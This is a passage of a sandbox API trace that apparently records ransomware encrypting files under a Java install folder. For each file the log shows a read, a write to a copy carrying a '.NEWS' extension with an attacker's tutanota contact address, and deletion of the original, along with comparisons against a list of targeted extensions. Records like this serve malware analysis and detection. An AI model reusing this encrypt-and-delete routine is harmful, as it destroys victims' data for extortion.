lpNumberOfBytesWritten=0x35dfc94*=0x100, lpOverlapped=0x0) returned 1 [0161.531] SetEndOfFile (hFile=0x480) returned 1 [0161.531] CloseHandle (hObject=0x480) returned 1 [0161.531] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.531] SetEndOfFile (hFile=0x468) returned 1 [0161.537] CloseHandle (hObject=0x468) returned 1 [0161.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.537] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0161.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.538] lstrlenW (lpString=".doc") returned 4 [0161.538] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0161.538] lstrlenW (lpString=".docx") returned 5 [0161.538] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0161.538] lstrlenW (lpString=".pdf") returned 4 [0161.538] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0161.538] lstrlenW (lpString=".xls") returned 4 [0161.538] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0161.538] lstrlenW (lpString=".xlsx") returned 5 [0161.538] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0161.538] lstrlenW (lpString=".ppt") returned 4 [0161.538] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0161.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.538] lstrlenW (lpString=".zip") returned 4 [0161.538] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0161.538] lstrlenW (lpString=".rar") returned 4 [0161.538] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0161.538] lstrlenW (lpString=".bz2") returned 4 [0161.538] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0161.538] lstrlenW (lpString=".7z") returned 3 [0161.538] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0161.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.538] lstrlenW (lpString=".dbf") returned 4 [0161.538] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0161.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.538] lstrlenW (lpString=".1cd") returned 4 [0161.539] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.539] lstrlenW (lpString=".jpg") returned 4 [0161.539] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.539] lstrlenW (lpString=".doc") returned 4 [0161.539] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString=".docx") returned 5 [0161.539] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0161.539] lstrlenW (lpString=".pdf") returned 4 [0161.539] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString=".xls") returned 4 [0161.539] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0161.539] lstrlenW (lpString=".xlsx") returned 5 [0161.539] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0161.539] lstrlenW (lpString=".ppt") returned 4 [0161.539] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.539] lstrlenW (lpString=".zip") returned 4 [0161.539] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0161.539] lstrlenW (lpString=".rar") returned 4 [0161.539] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString=".bz2") returned 4 [0161.539] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString=".7z") returned 3 [0161.539] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0161.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.539] lstrlenW (lpString=".dbf") returned 4 [0161.539] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.539] lstrlenW (lpString=".1cd") returned 4 [0161.539] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0161.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0161.539] lstrlenW (lpString=".jpg") returned 4 [0161.540] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0161.540] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0161.540] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0161.540] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0161.541] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=344908) returned 1 [0161.541] CloseHandle (hObject=0x468) returned 1 [0161.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0161.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.542] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0161.542] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.542] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.542] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0161.543] GetLastError () returned 0x0 [0161.543] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x5434c, lpOverlapped=0x0) returned 1 [0162.041] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x54350, lpOverlapped=0x0) returned 1 [0162.049] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.049] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x102, lpOverlapped=0x0) returned 1 [0162.049] SetEndOfFile (hFile=0x480) returned 1 [0162.049] CloseHandle (hObject=0x480) returned 1 [0162.049] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.049] SetEndOfFile (hFile=0x468) returned 1 [0162.061] CloseHandle (hObject=0x468) returned 1 [0162.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0162.062] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0162.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.063] lstrlenW (lpString=".doc") returned 4 [0162.063] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0162.063] lstrlenW (lpString=".docx") returned 5 [0162.063] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0162.063] lstrlenW (lpString=".pdf") returned 4 [0162.063] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0162.063] lstrlenW (lpString=".xls") returned 4 [0162.063] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0162.063] lstrlenW (lpString=".xlsx") returned 5 [0162.063] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0162.063] lstrlenW (lpString=".ppt") returned 4 [0162.063] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0162.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.063] lstrlenW (lpString=".zip") returned 4 [0162.063] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0162.063] lstrlenW (lpString=".rar") returned 4 [0162.063] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0162.063] lstrlenW (lpString=".bz2") returned 4 [0162.063] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0162.063] lstrlenW (lpString=".7z") returned 3 [0162.063] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0162.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.064] lstrlenW (lpString=".dbf") returned 4 [0162.064] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0162.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.064] lstrlenW (lpString=".1cd") returned 4 [0162.064] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0162.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.064] lstrlenW (lpString=".jpg") returned 4 [0162.064] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0162.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.064] lstrlenW (lpString=".doc") returned 4 [0162.064] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0162.064] lstrlenW (lpString=".docx") returned 5 [0162.064] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0162.064] lstrlenW (lpString=".pdf") returned 4 [0162.064] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0162.064] lstrlenW (lpString=".xls") returned 4 [0162.064] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0162.064] lstrlenW (lpString=".xlsx") returned 5 [0162.064] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0162.064] lstrlenW (lpString=".ppt") returned 4 [0162.064] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0162.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.064] lstrlenW (lpString=".zip") returned 4 [0162.064] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0162.064] lstrlenW (lpString=".rar") returned 4 [0162.065] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0162.065] lstrlenW (lpString=".bz2") returned 4 [0162.065] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0162.065] lstrlenW (lpString=".7z") returned 3 [0162.065] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0162.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.065] lstrlenW (lpString=".dbf") returned 4 [0162.065] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0162.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.065] lstrlenW (lpString=".1cd") returned 4 [0162.065] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0162.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0162.065] lstrlenW (lpString=".jpg") returned 4 [0162.065] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0162.065] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0162.065] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0162.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0162.066] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=234068) returned 1 [0162.066] CloseHandle (hObject=0x468) returned 1 [0162.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0162.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.067] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0162.067] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.067] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.067] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0162.068] GetLastError () returned 0x0 [0162.068] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x39254, lpOverlapped=0x0) returned 1 [0162.609] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x39260, lpOverlapped=0x0) returned 1 [0162.614] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.614] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x104, lpOverlapped=0x0) returned 1 [0162.615] SetEndOfFile (hFile=0x480) returned 1 [0162.615] CloseHandle (hObject=0x480) returned 1 [0162.615] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.615] SetEndOfFile (hFile=0x468) returned 1 [0162.623] CloseHandle (hObject=0x468) returned 1 [0162.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0162.624] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0162.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.625] lstrlenW (lpString=".doc") returned 4 [0162.625] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0162.625] lstrlenW (lpString=".docx") returned 5 [0162.625] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0162.625] lstrlenW (lpString=".pdf") returned 4 [0162.625] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0162.625] lstrlenW (lpString=".xls") returned 4 [0162.625] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0162.625] lstrlenW (lpString=".xlsx") returned 5 [0162.625] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0162.626] lstrlenW (lpString=".ppt") returned 4 [0162.626] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.626] lstrlenW (lpString=".zip") returned 4 [0162.626] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0162.626] lstrlenW (lpString=".rar") returned 4 [0162.626] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0162.626] lstrlenW (lpString=".bz2") returned 4 [0162.626] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0162.626] lstrlenW (lpString=".7z") returned 3 [0162.626] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.626] lstrlenW (lpString=".dbf") returned 4 [0162.626] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.626] lstrlenW (lpString=".1cd") returned 4 [0162.626] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.626] lstrlenW (lpString=".jpg") returned 4 [0162.626] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.626] lstrlenW (lpString=".doc") returned 4 [0162.626] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0162.626] lstrlenW (lpString=".docx") returned 5 [0162.626] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0162.626] lstrlenW (lpString=".pdf") returned 4 [0162.627] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0162.627] lstrlenW (lpString=".xls") returned 4 [0162.627] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0162.627] lstrlenW (lpString=".xlsx") returned 5 [0162.627] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0162.627] lstrlenW (lpString=".ppt") returned 4 [0162.627] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0162.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.627] lstrlenW (lpString=".zip") returned 4 [0162.627] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0162.627] lstrlenW (lpString=".rar") returned 4 [0162.627] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0162.627] lstrlenW (lpString=".bz2") returned 4 [0162.627] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0162.627] lstrlenW (lpString=".7z") returned 3 [0162.627] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0162.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.627] lstrlenW (lpString=".dbf") returned 4 [0162.627] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0162.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.627] lstrlenW (lpString=".1cd") returned 4 [0162.627] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0162.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0162.627] lstrlenW (lpString=".jpg") returned 4 [0162.627] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0162.628] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0162.628] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0162.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0162.629] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=13962) returned 1 [0162.629] CloseHandle (hObject=0x468) returned 1 [0162.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0162.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.629] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0162.630] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.630] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.630] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0162.630] GetLastError () returned 0x0 [0162.630] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x368a, lpOverlapped=0x0) returned 1 [0162.634] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x3690, lpOverlapped=0x0) returned 1 [0162.930] ReadFile (in: hFile=0x468, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.930] WriteFile (in: hFile=0x480, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x116, lpOverlapped=0x0) returned 1 [0162.930] SetEndOfFile 